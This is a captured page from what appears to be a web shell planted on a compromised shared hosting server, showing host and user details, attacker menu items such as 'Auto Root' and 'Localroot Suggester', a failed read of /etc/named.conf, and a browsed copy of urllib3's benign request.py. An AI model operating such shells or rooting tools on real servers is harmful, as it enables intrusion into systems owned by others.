Linux worldls-302.fr.planethoster.net 4.18.0-553.8.1.lve.el7h.x86_64 #1 SMP Thu Jul 4 15:19:33 UTC 2024 x86_64
LiteSpeed
Server IP : 10.185.0.203 & Your IP : 216.73.217.14
Domains :
Cant Read [ /etc/named.conf ]
User : gerathty
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
lib /
python2.7 /
site-packages /
urllib3 /
util /
Delete
Unzip
Name
Size
Permission
Date
Action
__init__.py
854
B
-rw-r--r--
2015-12-14 22:06
__init__.pyc
1.23
KB
-rw-r--r--
2016-02-15 15:28
__init__.pyo
1.23
KB
-rw-r--r--
2016-02-15 15:28
connection.py
3.3
KB
-rw-r--r--
2015-12-14 22:06
connection.pyc
3.01
KB
-rw-r--r--
2016-02-15 15:28
connection.pyo
3.01
KB
-rw-r--r--
2016-02-15 15:28
request.py
2.08
KB
-rw-r--r--
2015-12-14 22:06
request.pyc
2.15
KB
-rw-r--r--
2016-02-15 15:28
request.pyo
2.15
KB
-rw-r--r--
2016-02-15 15:28
response.py
2.12
KB
-rw-r--r--
2015-12-14 22:06
response.pyc
2.14
KB
-rw-r--r--
2016-02-15 15:28
response.pyo
2.14
KB
-rw-r--r--
2016-02-15 15:28
retry.py
9.75
KB
-rw-r--r--
2015-12-14 22:06
retry.pyc
9.57
KB
-rw-r--r--
2016-02-15 15:28
retry.pyo
9.57
KB
-rw-r--r--
2016-02-15 15:28
ssl_.py
11.13
KB
-rw-r--r--
2015-12-14 22:06
ssl_.pyc
9.74
KB
-rw-r--r--
2016-02-15 15:28
ssl_.pyo
9.74
KB
-rw-r--r--
2016-02-15 15:28
timeout.py
9.37
KB
-rw-r--r--
2015-12-14 22:06
timeout.pyc
9.38
KB
-rw-r--r--
2016-02-15 15:28
timeout.pyo
9.38
KB
-rw-r--r--
2016-02-15 15:28
url.py
5.74
KB
-rw-r--r--
2015-12-14 22:06
url.pyc
5.81
KB
-rw-r--r--
2016-02-15 15:28
url.pyo
5.81
KB
-rw-r--r--
2016-02-15 15:28
Save
Rename
from __future__ import absolute_import from base64 import b64encode from ..packages.six import b ACCEPT_ENCODING = 'gzip,deflate' def make_headers(keep_alive=None, accept_encoding=None, user_agent=None, basic_auth=None, proxy_basic_auth=None, disable_cache=None): """ Shortcuts for generating request headers. :param keep_alive: If ``True``, adds 'connection: keep-alive' header. :param accept_encoding: Can be a boolean, list, or string. ``True`` translates to 'gzip,deflate'. List will get joined by comma. String will be used as provided. :param user_agent: String representing the user-agent you want, such as "python-urllib3/0.6" :param basic_auth: Colon-separated username:password string for 'authorization: basic ...' auth header. :param proxy_basic_auth: Colon-separated username:password string for 'proxy-authorization: basic ...' auth header. :param disable_cache: If ``True``, adds 'cache-control: no-cache' header. Example:: >>> make_headers(keep_alive=True, user_agent="Batman/1.0") {'connection': 'keep-alive', 'user-agent': 'Batman/1.0'} >>> make_headers(accept_encoding=True) {'accept-encoding': 'gzip,deflate'} """ headers = {} if accept_encoding: if isinstance(accept_encoding, str): pass elif isinstance(accept_encoding, list): accept_encoding = ','.join(accept_encoding) else: accept_encoding = ACCEPT_ENCODING headers['accept-encoding'] = accept_encoding if user_agent: headers['user-agent'] = user_agent if keep_alive: headers['connection'] = 'keep-alive' if basic_auth: headers['authorization'] = 'Basic ' + \ b64encode(b(basic_auth)).decode('utf-8') if proxy_basic_auth: headers['proxy-authorization'] = 'Basic ' + \ b64encode(b(proxy_basic_auth)).decode('utf-8') if disable_cache: headers['cache-control'] = 'no-cache' return headers